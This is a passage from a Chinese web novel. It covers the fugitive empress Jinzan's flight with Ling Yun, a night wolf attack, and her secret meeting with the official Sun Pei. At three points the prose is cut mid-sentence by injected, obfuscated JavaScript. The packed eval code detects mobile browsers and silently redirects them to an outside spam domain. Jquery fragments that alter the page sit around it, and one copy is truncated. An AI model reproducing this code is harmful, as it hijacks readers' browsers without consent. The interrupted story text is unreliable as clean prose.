凌云拉金簪穿过何秋刀等人打开的城门,终于出西行关。几人趁夜色融进黑暗,后方几匹快马边杀边夺出城,一路向南面大道奔去。 凌云在暗中观察,低声道:“果然往风华道府方向去。”他朝江城子道,“那些人出来吗?” 江城子观望一番,点指道:“出来了,追上去了。” “他们停下来了,莫不是在等我们?”陆鱼儿也看到季氏一行人。 官道上的季飞扬耳闻后方北延兵出城,被季钊明催促离开,还是有些迟疑。 他不信,那女人不是金簪。但是,她若是金簪,为何不出来相见? 季钊明喊道:“少主,伊兰天雪那情况,分明是被女子近身后中毒所杀。若是女帝,以她在慕容锤手下的画像上看,断然不可能做这番事。少主,女帝没被抓就还能寻到。如今摩尔人偷入关,大事要紧,莫在此时糊涂。” 季飞扬捏紧缰绳,咬牙道:“走,我们抄小道走在他们的前面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059967|162979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 一行人停几息后快速融入黑夜。 凌云这边轻出口气。故人相逢,见面不识,或许以他们的关系,这样才最好。 他朝江城子道:“接下来怎么走?” “城外三里有个村落,我在那边的后山老猎户家留三匹马和干粮。不过,时日有点长,不知道干粮还能不能吃。” 江城子说完,带人深入杂丛,穿林而行,“头儿计划长远,真正是算无遗策。此前在宅子里我说得那些话,让姓季的高看我们。” 凌云平静道:“你才是学海智者,你先洞悉季氏的目的,引得季氏愿意同我们合作。” 江城子轻笑,走路都快许多。 金簪走得一脚深一脚浅,跟在几人后面时不时被杂草、乱石绊一下,又被凌云出手稳住。 她起初会低声说谢,后来破罐子破摔,硬头皮用力下脚。 凌云听她的脚步声,比在场男人都重,含笑意道:“我背你吧。” 金簪本要拒绝,但是看几张脸的神色,确实拖慢队伍。 天上已经翻鱼肚白,若再亮点,该碰上农人,暴露五人的行踪。兵贵神速。 她想得比较远,颔首后上了凌云的背。 凌云背起她后习惯性估摸体重,比上次背她时重许多,该有一百出头。 对于一名铁匠、木工来说,对尺度和重量的把握精准至极。 太阳上山后,几人终于寻摸到江城子说的地方猎户家。柴房的后院里牵着三匹马,一个孩子正在给它们喂草料。 老猎户很热情地欢迎江城子等人到来,又喊婆子做馕饼,对江城子道:“恩公,你得那只装饼子的布囊被我打开了。山里的气候潮湿,时日长,放久不宜再吃。我给你换一批饼子。” 江城子哈哈一笑,与老猎户道谢,又客套几句后送两锭份量十足的官银。“多谢老兄弟,不愧咱们五百年前一家子,都姓江啊。” “哈哈哈……”老猎户哈哈大笑。 这家的小男孩最不喜欢这帮人,因为三匹马都被牵出马圈,装上马鞍。 “不行,不准拉走。呜呜呜……”他抱着马脖子不让陆鱼儿等人套缰绳。 金簪见过马,但没摸过,正要上前被凌云拉住手。 凌云温声道:“别去。马认识那小子,不一定认识你。” 老猎户出来同孩子说话,劝了几句不听就一巴掌拍在儿子的脑门,将小孩打骂走了。 凌云颇为尴尬,上前同老猎户说话。 金簪绕过房子,看见躲在马圈哭的小男孩。 她走上去,摸把周身,寻出一根甜根递去:“吃吗?甜的。” 小男孩认识这东西,傲娇道:“路边田埂里的东西,谁稀罕?”但是,他还是一把抢过来放嘴里,抽噎两下后嚼啊嚼,品出甜水。 金簪也不嫌马圈脏臭,坐在他旁边的石槽口上,含笑问道:“甜吗?” “呜……不甜。山里的野山莓更甜。”小男孩摸把眼角道。 金簪笑了下,低声道:“我被母……亲打时没有甜食吃,你幸运了,遇上我给你吃甜食。” “路边随手采的甜根,算什么幸运。我讨厌你们。”小男孩撇嘴道,“这三匹马儿都有名字,我取的:阿大,阿二,老三……呜呜,我养了十五天。” “十五天?这就……舍不得了?”金簪觉得怪新鲜的,使劲憋住不笑出声。 “当然。我每隔三天就给它们洗澡,每天喂料,我对它们有感情了。”小男孩呸掉口里嚼烂的甜根,委屈道,“这下好了,我的阿大、阿二,老三,不知道要去哪里了。” 金簪抿唇,仰首天上的浮云,低低道:“十五天就有感情?你的感情真是单纯。”她想起街上偶遇的季飞扬,以及在朦胧夜色中他快马而去的模糊背影。 “姐姐的感情不纯吗?”小男孩眨天真的眼睛问道。 金簪呃了下,含笑道:“不纯啊。从一开始就不单纯,所以没有好结局。不过,你这般单纯,也没好结局。嘻嘻……” “啊……”小男孩恼火,狠狠地推把金簪。 金簪一下子掉进马槽,湿了一身。即便这样,她还是低低地笑着,泪水混着被小男孩撩起的脏水,弄了一头一脸。 老猎户等人跑过来,又将小男孩一通骂,而金簪被凌云拉进猎户家。 家里的妇人取水和衣衫给金簪换,一通忙乱。 午后,一行五人三匹马,背着鼓囊囊的杂物告别猎户家,骑马上路。 金簪本要单独一匹马,结果上马后那马像是受了惊般躁动不宁。她一下子滑落马背,在几人的目光注视下冷静地说:“我……不会骑马。” 陆鱼儿当场就笑出声。何秋刀打了他一下。江城子一人独占一匹马,吹声口哨就先走了。 陆鱼儿和何秋刀见状,两人一匹马跟上去。 凌云拉住马缰,先上马背,再将手伸给金簪。 金簪一把握上去,被用力提起后坐在他背后。 凌云喊道:“抱紧了。”待察觉腰间的双手,一夹马肚跑起来。 夜间休息时,金簪仰首观星,按现在的时辰、季节确定寒雪关的方向。她看着守夜的陆鱼儿,上前道:“我来守一会,你去睡吧。” 陆鱼儿受宠若惊,摇首道:“不必不必……那个您……去睡吧。” 金簪垂眸,独自走入密林。待陆鱼儿跟两步,她回首道:“我去……那个。” “哦哦哦……”陆鱼儿了然,背过身又去原位守着。 凌云睁开眼睛,看向幽深的密林。因这两夜大家都没好好休息,遂而都犯困。但是,金簪不一样,在东厢那地儿睡过一觉,白日又在马背上补眠,比起几人的精力要旺盛些。他坐直身,耳闻陆鱼儿来问,轻声道:“随她去吧。” 白日,何秋刀和陆鱼儿换乘,也有休息。这会,何秋刀也醒了,疑惑道:“她不会是想一个人去寒雪关吧?这里距离寒雪关很远吧。” 这趟路凌云走过,颔首道:“即使快马,也要三天左右。若是脚程,大概要十五天。我们走得是西路,再往前是胜争道府。她这样绕,绕不上英雄大道。” 江城子闭着眼道:“我们不去季氏那边的乱石林看看吗?” “我了解季飞扬此人,在大事上,他不会糊涂。而且,他们的人多,行动快,我们过去反倒多事。你们睡吧,我去看看她。”凌云说完,抽出腰后的方管,踏入密林。 41. 夜离 夜枭啼鸣,灌着寒夜林风,颇有几分鬼魅随行。 金簪乘月色摸索前进,仗一身百虫不近身的体质,走出很长一段林路。 按她的预计,只要穿过这片山林,可以上西南的风华道,穿过风华道就能返回英雄大道,再向西去寒雪关。 然而,她忘记了纸上谈兵,无异于瞎子点灯,白费功夫。 为驱散独入林中的恐惧,她将前半生都回顾一遍,终是靠树停下。 夜风凉入骨。 金簪喃喃自问:“我去西面又如何?像他说得一样,石鸣春会听我话吗?他不会听。我又要如何?变成他帐下的小兵,一起杀摩尔人吧。” 她握把拳头,修练十年的轩辕氏心诀存储得那点力量已经荡然无存。 【这辈子,我在登令楼上射出那一箭,还是朝着南叶,真正可笑死了。】 “啊……你真没用。啊……呵呵呵……” 林里响起女子的哭嚎,追来的凌云刚要出声,嗅到熟悉的味道,也看到了熟悉的幽绿恶瞳。 “山林……灰狼。” “嘶……呜……嗷呜……”头狼发出进攻的命令。 金簪的眼泪被吓回去,木然看向不知何时围拢过来的狼。那些幽暗的绿色眼睛真是讨厌又可怖,像极那叫伊兰天雪的眼神。 她旋出轩辕枪,靠树喊道:“别过来,我的血有毒,你们会被毒死。” 狼群不是百虫,对此毫无反应。 它们快速行成包围圈,一起逼近金簪。 嗖得一声,一箭射穿扑向金簪的狼,而金簪的长/枪突刺,扑了空。 凌云在一侧喊道:“上树,快。”随后,他绕狼群外围,不断射杀林狼。 狼群察觉他的存在。头狼嗷呜一声,吩咐大部分的灰狼掉头扑向凌云。 金簪转身爬树。 可是,她从没爬过树,根本不知道怎么爬树。她捏紧轩辕枪,向扑来的狼狠刺而去,转身横扫,将所剩无几的狼打开一条口子。 她趁机跑出狼群的包围圈,向密林深处逃去。 凌云被大部分的林狼围攻,看向那道消失的身影,说不失望有点假,甚至抬手射向追她的狼,一弓三弩,五去其四。另外一只已经瞧不见,杀不了。 他看向眼前扑近的狼,呵了声,旋手取出方管,一弹机簧,化为血刺。一刺之后,踏狼身上树,转手在手腕护甲上摸出木碎尖刺,扬手飞刺,伤十多只狼的眼睛。他下树后运步伐近身,以血棘刺狼体,令失明的狼失血而亡。 比起九岁那年在秋山上被狼群围攻,如今的凌云已能独立战胜群狼。 逃出去的金簪转身再刺,直接杀死追来的林狼。 她呼呼地喘息着,耳闻那方的嘶吼声,扶住树干深吸口气。 【别回头,轩辕金簪,他迟早是要将你丢下的人。】 【他救了我,人不坏。】 【但是,他不会帮你,不会带你去寒雪关,不会帮你寻找楚甲子……】 …… 狼群之所以是丛林臭名昭著的杀手,因为它们群攻、执着、聪明,而且够狠。 凌云出了那口恶气,旋身上树,利用有利位置射杀狼群。 待余下十只,一摸后囊,没箭了。 他转身飞踏,再入狼群,再度近身血刺。 头狼下场,偷袭凌云,爪子狠狠地擦过他的后肩。 金簪来时,将轩辕枪猛地投掷过去,插入头狼的身体。 “哦呜……”头狼落地哀呜,余下数只狼见状四散而去。 头狼呜咽了声,试着站起来,再次召唤同伴。但是,余下的狼已经判断了它的死亡,回首观望两眼后退回丛林深处。 凌云旋手收起血刺,变化为方管。 金簪见那狼倒下才敢走近,犹豫再三才出手扶凌云的肩头,低声道:“你……没事吧?” “为何回来?”凌云喘息着问道。 金簪没答,扶他走到干净处。 她毫不犹豫地动手解开他的衣襟,抬眸时见他的双目背对明月,被衬得灼灼如日,不由微颤了下,低声道:“你知道,我的口沫可以疗伤。” 凌云眨下眼,收敛眸光里的炙热,主动背过身,退下外衣。 金簪将他的衣襟拉开,瞧向三道伤痕,轻呼道:“……应该不算深。那个……你……别嫌弃。” 说着,她喷口水在凌云的后背,用手指轻轻地匀开。 效果没有起初以为得好。但是,伤痕依然在收缩变浅。 借林中月色,金簪看清此人的肌肤色泽,比预想要白、紧致、结实,而且蝴蝶骨的形状在月光下阴影分明,说明它们线条流畅,说明他是一名身强体壮的武者。 这番瞧着瞧着,金簪的脸微热,唇齿一弯,笑出声。 【这样跑回来,瞧见这副男色,不算亏吧。】 “怎么?”凌云侧脸,低声问道。声音轻微,引出他无法克制的温柔。 “好了。”金簪的眉梢微扬,拉上他的衣襟,起身去寻轩辕枪,被凌云一把抓住手腕。 她俯视凌云仰面望来的动情眼神,瞧清楚内里的欲念,静等他说出来。 【他说过,若是他有想法,会询问……】 凌云被夜风拂过,察觉肩颈温凉,回过神来松开手。 他起身时张握几下手心,似要忘记刚才难以自控的感觉,抢步向前道:“我替你去寻枪。” 金簪扬眸看向他的背影,在月光下显得高大而孤独。 她低声吟道:“李老有诗赞杜郎君,若改一字,吟为:头玉硗硗眉刷翠,云郎生得真男子。骨重神寒天庙器,一双瞳人剪秋水。” 【张停云,你不知道吧?凌乱的胡子也盖不住你的翠眉玉骨,眼瞳似秋水,周身环绕如庙宇高堂之人的沉静气度。 若安孙老的观人相,该是一……天人骨相。 于朕来讲,你这可真是一个糟糕的相貌。】 金簪的目光拉远,落在那些狼尸,低低笑道:“除此外,你确是个英武、守信、有原则的人。【但是,谁知道呢,日久见人心,不是吗?】 她长出口气,也不挑地儿,心生累意下坐靠在树底。 若论男色,无人可敌季飞扬。 【亦狂亦侠亦温文。只可惜,他过余狂放、反失柔情。凌少保一事,甚至表现得毫无担当。混蛋。】 “给。”凌云将旋短的轩辕枪递给金簪,阴影覆在她的身躯,像是将人揽在气场范围。 他温声道:“此地血腥味重,恐会引来别的猎食者,我们回营地吧。” 金簪撑树起身,看他转身下蹲,绕过去道:“我走了这么长的路,能自己走回去。” 凌云沉默地直起身,随她向营地走去。 半道上,金簪被绊了一下,又被凌云稳住。 这会,她想起来,自从秋山坠崖后遇见他开始,这人一直在身边相扶。每每绊倒摔跤,他虽寡言,却出手迅疾。 金簪的心里微动,轻声道:“你背我吧。” 凌云松开她,走前一步,蹲下身。待金簪上背,他背着她继续前进,并无推诿或多言辞。 夜色将退,林里越发黑。 金簪俯下头颈,贴在他的耳侧,暖暖地,气味竟也不难闻,便是连汗水的气息都透一股清爽味儿,非常的纯澈,像他的眼睛。 【这是一个干净的男子。】 凌云的足下微顿,咽口吐沫后继续上路。 他听到心跳声,两道。脸侧传来的温热,伴随踏草踩石的脚步声,莫名开始用力,有种青筋都要忍出来的感觉。 金簪察觉他的气息变化,想起那句“此生天地一皮囊,何处男人不喜朕”的放言。她低声道:“要而不得,很难受吧?” 凌云的内心好像被轩辕枪咔嚓了下,一身热力退却,半响无语。他良久后才道:“你……一直都这么说话吗?” 金簪含笑仰起头,不再逗弄他,环视寂静的幽林,缓缓道:“以前有人说过朕……今日你见过那人,叫季飞扬的。他曾经喜欢我,与他在一起时,他说过,我不谈正事时讲起来话来不顾旁人死活。大概在说我不会讲话吧。” 凌云的脚步停下,寻个平坦地方将人放下。 他暗吸口气,低声道:“休息一下。太黑不好走。半个时辰天就会亮。那时候,我们再走。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059968|162979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他蹲下身从怀里取出薄鱼皮铺在地面,“坐这边。” “嗯。”金簪往他的方向走一点,膝盖撞在他蹲下的身体,失了重心往前倾。 凌云扶住她,与她跌坐在鱼皮毯上。 金簪察觉额前的呼吸,抓在他的衣襟处,急道:“不好意思……这次我不是故意……” 她的身体一顿,抵在他的肩头,将手下移,摸到干爽的鱼皮,侧身坐下。 金簪的另一只手没有松开凌云的手臂,抿唇道:“你……不喜欢玩笑。下次,不会了。那个,这会太黑了。林里有虫子,而你看不到,不如与我靠坐一起,就能避开虫子。” 凌云看着她模糊的轮廓,点头后知她看不清,顺她的拉力坐到身旁。 金簪心上微暖,暗夜似乎容易令人打开心防。她试探着枕在他的膝头大腿,便察觉他的身体如石般僵硬了。 她低声道:“若说我不擅与人沟通,那你是真寡言少语。” 凌云沉默了一会,靠着树,沉心闭目。 金簪折腾一夜也是累极,但是脑子里却仍然有些亢奋。 她低声道:“之所以回来是因为有人教过我,世间情谊不止宫闱所见,还有世上难得的共命情。此情得以命换诚。” 凌云在黑暗里睁开眼,慢慢地放松了身体。他仰面头顶鬼魅般的树杈阴影,一言不发地睡过去。 陆鱼儿寻来时,两人依然枕靠在一起睡得正香。他刚要动作,就见凌云睁眼望来,嘻嘻笑道:“头儿,昨夜英雄救美了?” “他们呢?”凌云刚一动,就觉得腿麻,啊了声。 金簪动下眉头,清醒过来,一眼望见嬉笑的陆鱼儿,撇脸道:“天亮了,我们……分道吧。” 凌云停下揉腿的动作,皱眉道:“我不觉得你该去寒雪关。若是你……真想东山再起,不妨去月罗府找季氏。以你的名声……” “那日我虽听得不全,也听到一部分。季氏在胜争轩辕日照手下做事,并不自由。以季飞扬的性格,他只会将我藏起来,而非送上高台。”金簪的目光落在凌云的面上。 四目相对,彼此都猜不透对方的想法。 陆鱼儿笑道:“那也要出了这林子再说。从这里走到英雄大道,不就是走近狼窝虎巢,喂猛兽啊。” 凌云收拾好鱼皮,折叠成巴掌大小的薄层塞入怀。 他蹲下身道:“走吧。先出林。” 金簪再次上凌云的后背,由他背着向前走。 陆鱼儿则跑去打猎。 “你这些兄弟好似不怎么……看重你。”金簪低声道,“你消失一夜,他们没来寻你。”【但是,说来也怪,他们好似很听话。】 凌云默然,半响道:“我处理得了的事,他们处理不了。我是张县府的儿子,而他们是县府衙役。” 金簪挑眉,第一次发现这个人的少年气。 她心生好奇,问道:“你……究竟多大?” “我可以带队出海,可以翻山越岭入京都,穿南北地界丛林过关……三十……而立。”凌云轻咳了声,增加说服度。 金簪不信,箍在他的颈项道:“孙太傅给我上得第一课是观人。那一个月,我足足看近百人的画像。你的眼神不像是有三十之人。若有三十,该是季飞扬那种眼神,富有壮气却失灵性。” “你走路也不像个女子,若能改一下不让人认出,也是好的。”凌云跳过话题,提议道。 金簪莞尔:“所以,我做男子打扮。” 【一点都不像男子啊。】 凌云垂眸不语,快步入营地。 江城子将干粮分给众人,递给金簪时蹲下身道:“夫人,或许告诉你一个消息,你能改变想法。”迎着金簪的目光,他笑道,“传闻,楚甲子将军最后出现的地方就在胜争道府。” 凌云蹙眉看向江城子,而对方扮回个笑脸。 何秋刀嗤了声,说出凌云的心里话:“你这家伙,就喜欢做多余的事。” 江城子凑近后低声道:“这样不是解决头儿的麻烦,也能稳住她。不过,我是真不知道头儿要带她去哪里啊。而她的目标……不是寒雪关的石鸣春,就是楚甲子。” 42. 孙裴 青衣枣马扬尘土,五人纵马向胜争道府的利城飞驰。 沿途上,金簪没再想着离开,更想借住凌云的人寻到楚甲子。 楚甲子有将名、作战才能,得他便能有东山再起的机会。楚甲子可以重聚四方零散的军队人心。此后,往东寻到孙太傅,以孙太傅在天下士林中的名声,可以号召护国志士。 如今,手中无军权,有令无人听,剩下得只有世人信奉的正统名声。这是金簪仅有的倚仗。 四日后,五人三马进入利城,与道府所在的胜城,合为胜利双城。 相较于西塞城行人的紧张神色,利城的百姓显得更松弛。行人担卖叫喊,步履不急不躁,属于乱世中颇为宁静的地方。 陆鱼儿瞧着街市上的热闹,笑道:“那些是什么?竟然没见过哎。” 江城子点拨道:“大概是地方特产。月辉君祖上三代经营此地,至轩辕日照手下已经是天下少有的富庶城池。这里确实比别的地方要繁荣。”他向凌云颔首,单独牵马离去。 金簪看着身边余下的三人,心下了然。 此四人的分工极为明确,江城子负责探查消息以及前哨布防,属于斥候型智囊;陆鱼儿的脚程快,负责传递消息;何秋刀擅力,若有突发情况,则是断后的武力担当。 至于张停云……擅长机弩、暗器等,整只队伍里,他看似不重要,却是最为重要的领导者。 说起来,凌少保有一位孙子叫凌云,也是机关巧弩的好手。这人莫不是……凌云?若是他,该有……十八吧。 凌云侧眸,观她目光灼灼,不解道:“怎么?” 金簪对上他胡子拉渣的脸,转眼思道:他如此装扮是不想被人知晓身份。不管他是不是凌云,经此一路,都值得收为己用。 然而,收服他,单用女色,虽有效果却易适得其反,有些人的骨子里藏着‘逆’。若用钱财,他不贪金银财帛。色、钱无法打动的人,按凌少保所教,所剩用权。若是此招不行,行诱导计也是枉然。 该是同……楚甲子一样,用祖宗家训,谈报国理想。可是,这张停云对我恭顺有余而无敬心,难以搞定的人啊。 她轻出口气,展颜笑道:“无事。” 凌云颔首,带队领路,顺江城子走过的路找去客栈。 四人在江城子这位前哨的安排下入住利城客栈。 晚间,江城子在餐桌上分享打听到的消息。 “利城是由前御前大右弼孙裴孙大人掌管,而且听说最近他要送利城选出的民女入宫,成为……”江城子扫眼金簪,低声道,“女帝轩辕金香的近侍女官备选人。” 陆鱼儿砸吧两下嘴巴,憋不住笑意:“女帝?伪帝吧。听说天子登基得拜天祭祖,这胜城哪里来她的祖先。” 何秋刀大喇喇道:“如今这天下就没个有担当的男人,让这帮管不住家的女人当帝。” “更劲爆得是,这位金香女帝才十二还是十三岁,嫁给轩辕日照,成为妻帝。妻在前,帝在后,先妻后帝呢。” 江城子咳了声,摇头道,“其实,如头儿说得一样。如今谁拿到轩辕正统血脉,娶其为妻,日后生下的孩子就是周朝轩辕氏的正统。正统的好处,不肖我们说吧,乃是天下士林派儒生追随的信仰。毕竟大周朝在世千余年基业,人们的骨子里流着……都自认是周朝血脉。 这轩辕日照不比他老子轩辕月辉磨磨叽叽,行事果断得很。” “这特么还是人么?”陆鱼儿嫌弃道,“十三岁呢。” 金簪已想不起来轩辕金香的样貌,垂眸道:“天下士林确实会追随轩辕氏。轩辕氏起事便是为民除愚昧百姓的祭师党,为得是天下万民的清醒和世间清明。 祖帝立国后,将轩辕子侄散于四方,不准沿用轩辕姓氏,就是为稳固轩辕氏嫡系正统。 此后,轩辕帝姬上位,仙人守国,存世两百载,熬得世上几无轩辕氏。” 在几人好奇的眼神下,金簪弯起唇角,轻笑道,“轩辕伯姬乃是周朝第二位女帝,因前面的帝王将轩辕氏聚集藏龙山而爆发逆仙一战,将轩辕氏屠灭殆尽。 月辉君一脉正是那时的遗孤,十多年来因势力渐大不停朝堂调令,自请恢复轩辕姓氏。若论事实,他也不是天下正统。士林儒门不会追随他,这才利用轩辕金香。 轩辕女子生来高大,若为正统,体质强于寻常女子,看似成年实则未必。轩辕日照是利用此点蒙蔽百姓。 其次,轩辕氏祖训,女子为帝,只可纳夫,绝不嫁夫。” 几人听得津津有味,对于金簪的学识方面真是无话可说。但是,江城子喝口水后冷嗤道:“日照君此举就是想要举公主之名重建朝廷。这公主不过十三岁,在局里又能做什么,不过是天下人争抢的靶子……之一。” 金簪不予口舌争辩,转身回房间休息。 傍晚时分,她取出白日问陆鱼儿要来的路引,独自出客栈。 待人离去,负责看住她的陆鱼儿转头报给凌云。 凌云朝打盹的江城子道:“没有楚将军的消息吗?” 江城子摇头:“恐怕得去胜争道府的府城——胜城,如今的伪帝城探听消息。” 此时,金簪站在郡守衙门前,将甲套递给看门者。 门房见她是女子却气度不凡,再及金翠相缠的名贵甲套,惶惶地入门禀告。 郡守府内,孙裴捧着甲套,喃喃道:“父亲,她终是来了。”随后,他询问门房来人的长相和随行人员,嘱咐手下一声后疾步而出。 孙裴一身布衫、长须及胸,刚要向金簪作揖,又侧身避让出中位:“你是……姑娘是来给内子送甲饰吧?请入内,内子正在等候姑娘。” 金簪向他行街上看来的女子礼,以此表示无需在意礼节,随孙裴入府。 书房处,孙裴让人守在门外,带金簪入书房暗室。 在室内的烛火下,他向金簪行大礼:“微臣孙裴,拜见陛下。” “孙大人请起。”金簪扶起他。 以如今情形,孙家还肯认女帝,真是忠君之辈。 孙裴请金簪上座,随后将近年胜争发生的事悉数相告。 “当年慕容涛初战东都,将先皇于城楼枭首示众。 后来,我等和公主金香、皇子金骧被轩辕月辉的兵马劫持到胜城。 这中间,辛无疚救下公主和皇子,而紫琴君行踪不明。 当时,风子棋的兵马也参与其中,抢夺公主和皇子,后被月辉君斩杀。 兜兜转转数年,微臣听陛下登基,在暗室立长生牌,初一、十五点香叩拜。 近几年,家父托 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059969|162979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人寻到我处,得知陛下的情况。家父言:来日陛下若能夺得生机寻到利城,嘱我勿忘家训、忠君为主。” 语罢,他收起遮挡墙面的红布,露出先帝轩辕夏的亡魂牌,以及金簪的生祠牌。 金簪对于轩辕夏并无好感,依着礼数,向灵位添香行礼。 她朝孙裴道:“学生多谢孙阁老记挂我这不成器的学生。今来是想问孙大人可有护国将军楚氏甲子的行踪?” “有。楚将军被困在胜城的司徒大牢,听闻他在南蜀被抓,一年前被送到胜城。如今,他应该还被关押。轩辕日照敬他才能和骨气,一直想要收服他为己用。”孙裴解释道,“陛下身边可还有什么人?” 金簪收敛明眸里的暗意,不动声色道:“借住几个江湖人士逃过慕容涛的追捕。孙大人可有办法助我救出楚将军?” 孙裴来回踱步,躬身道:“有。近日微臣要送一批富商女眷前往胜城。轩辕日照那边没有人认识陛下,陛下大可以隐藏身份随队进入胜城。届时,女眷会在胜城驿馆暂留,微臣寻个由头带陛下前去见楚将军。若能趁此机会救出楚将军,陛下东山再起有望啊。” 金簪听他计划,明知里面有大问题,依然含笑道:“可是,我并无把握。” “这不打紧。近些年,我曲意奉承轩辕日照,积攒些人手,可以帮陛下行事。另外,随陛下前来的江湖人可在城内,不如我派人去请他们。”孙裴缓慢道。 金簪的眸色更幽暗了些,含笑间瞧入孙裴的双眸,观他垂眸避让,直视后方的两块神牌,莞尔道:“那就有劳孙大人了,他们在利城客栈落脚。其中一人,名唤……凌云。” “是,微臣这就去安排。”孙裴说完要走,被金簪喊住。 金簪笑道:“我既是来给贵夫人送甲饰,当圆了此谎,以免被人怀疑。孙大人觉得呢?” “对对对,陛下说得是。请,微臣先将陛下带入夫人院子,让夫人觐见陛下。”孙裴在前领路,引金簪出密室。 金簪环顾四周,见密室三墙一口,想来是只有一道出口。她万幸还能跟着孙裴出去。 入了见芳园,鸟鸣如吟、花团锦簇、颇有几分周氏贵族气派。若是在京都,这也不算什么,但是在这利城,就很有趣。 金簪的心被形势提掉而起,庆幸有计划二。 孙裴的夫人年纪不大,生得如花似玉。 她见金簪就砸一套碎花瓷,拉孙裴软言娇语嗔怪,斜吊起的眉眼儿明显怕这位来历不明的女子争抢宠爱。 金簪记得孙大人有发妻在京都。 因东都被慕容涛初次攻陷后,金簪中蛊的前三年偶有清醒时下旨放孙裴府邸家人,令她们返回孙忠谋所在的老家,图个老人家能够有子孙承欢膝下。 如今,孙大人在利城又有家事,且是被色俘虏。 至于钱财,单看利城百姓的生活,以及郡守府前宅的境况,应有收敛。 孙裴转身时投来歉意的笑容,第一次对夫人发了火,又令丫鬟带金簪去收拾出来的正房休息,而后强行拉扯哭闹不休的女人离去。 金簪闻着满室芳香,在丫鬟们嫌弃、好奇、怀疑、试探的眼神和举动下安静地坐在桌前。她看着茶盏都不敢喝,轻叹口气:楚甲子、张停云之流毕竟少数,多得是蝇营狗苟、乱世逢利求生者。 43. 驯养 风华道府的东山阳,一座青石嶙峋,壁光如镜的山峰,在千年前有人类沿山脊筑起一段高耸入云的秦连长墙。 面对此山,现今的人类无论是攀上还是跃下都极为困难。 “幸好这狼犊子不是爬东山阳顶入关,不然,他就是鸟,而不是狼。”季成吐槽道。 季飞扬等人利用老虎爪,攀援而上,寻到摩尔人在半山脊墙下凿出的坑道。 季成瞧向用木栅架起得一段盘旋向下的一人道,叹服道:“好家伙。这些摩尔人学去我们的老虎爪,凿洞攀援,在山里开出这么大个据点。若我们发现得不及时,再过几年,恐怕这里就成狼崽子们偷袭入境的大路。” 季钊明攀着绳索跳入洞穴,朝出神的季飞扬道:“少主,我在长墙上看了,那人骑着备在山下的马逃走,方向沿墙向北。另外,有一些凿石的周奴也被接应的人牵走。” “格老子,这些混蛋摩尔人。”季成骂道,“这么说,他们放弃这。” 季飞扬环顾四周,得出结论:“这里的山石坚硬,摩尔人凿出的通道只够一人爬行。只要有人守在洞口,就能一夫当关。先派人守住这口子。” 季成转思道:“少主,若是这样,摩尔人算是中计吧?他带去伊兰天雪被慕容涛杀的消息。 伊兰天阙得知后定然震怒,认为是慕容涛下令慕容锤杀人。伊兰天阙若调头挥戈北延,就有得慕容涛头疼。石鸣春、冯萧两地的危机也能被破。 少主,张停云那伙人莫不是东面来的刺客?” 季钊明笑道:“你管他们是误打误撞还是怎么办到此事。 不过,有一说一,依照南照王的武力值,张停云身边的妇人本事不小。先是女色后下毒,再是张停云等人用学海特有的血棘刺对其放血残杀。啧啧……” 两人见季飞扬一无所动,挤眉弄眼一番。 季成轻咳道:“少主,你与石鸣春、冯萧拜过把子,结成抗摩尔人的兄弟。近年,摩尔人数次进攻寒雪关,月罗府都提前给他消息。 如今,慕容涛搅动局势,少主相助石鸣春和冯萧,定能将两人收入麾下,为日后起事所用。” 季飞扬听他们聊闲、吹捧,转身离去:“此地是山壁半道,若用火药填埋,必毁秦连长墙的根基。我们得安排人力填埋此处,尽可能将长墙恢复原样。” “可是,我们没有带这么多人。”季成跟上道。 “无妨,此地距离胜城比回月罗府搬兵要近。我们去胜城找轩辕日照借人,而且按消息,楚甲子在胜城……若她要东山再起,必会前往胜城救人。 季成,你安排人守住这里,决不可再让摩尔人踏上长墙。”季飞扬吩咐道,待季成颔首,带季钊明返回高耸的长墙上口。 次日,数马疾驰,奔向胜争道府的胜城。 彼时,在西塞城的慕容锤捏着伊兰天阙送给慕容涛的信笺,冷笑道:“姑父慕容涛这路终于见明。 去岁,他与伊兰天阙在猎狼季时旁若无人地交换粮草,又计划分割周氏土地,只为南下报一己私仇。 如今,我要将伊兰天雪的尸体用寒冰镇上送给石鸣春。 呵,石家若要翻身,必与我合作。” 他吩咐下属:“传令下去,拔营寒雪关,助石鸣春守关。另外,将慕容青找来,本将要派他回北地,将我慕容锤的直系亲眷遣去定山关。 本将军卖冯萧这么大个人情,他会护我家人入关。 京都已毁,东都尚还不错。我们以东都为据点,重振慕容系这一支的辉煌。” “是。”将领领命而去。 当夜,慕容锤拔营前往寒雪关,相助石鸣春守关。 伊兰天阙因弟弟命丧关内,下令发起猛攻。 寒雪关上的石鸣春都要哭爹喊娘,直哭:守不住了,格老子……守不住了。这楚甲子作死去呀。 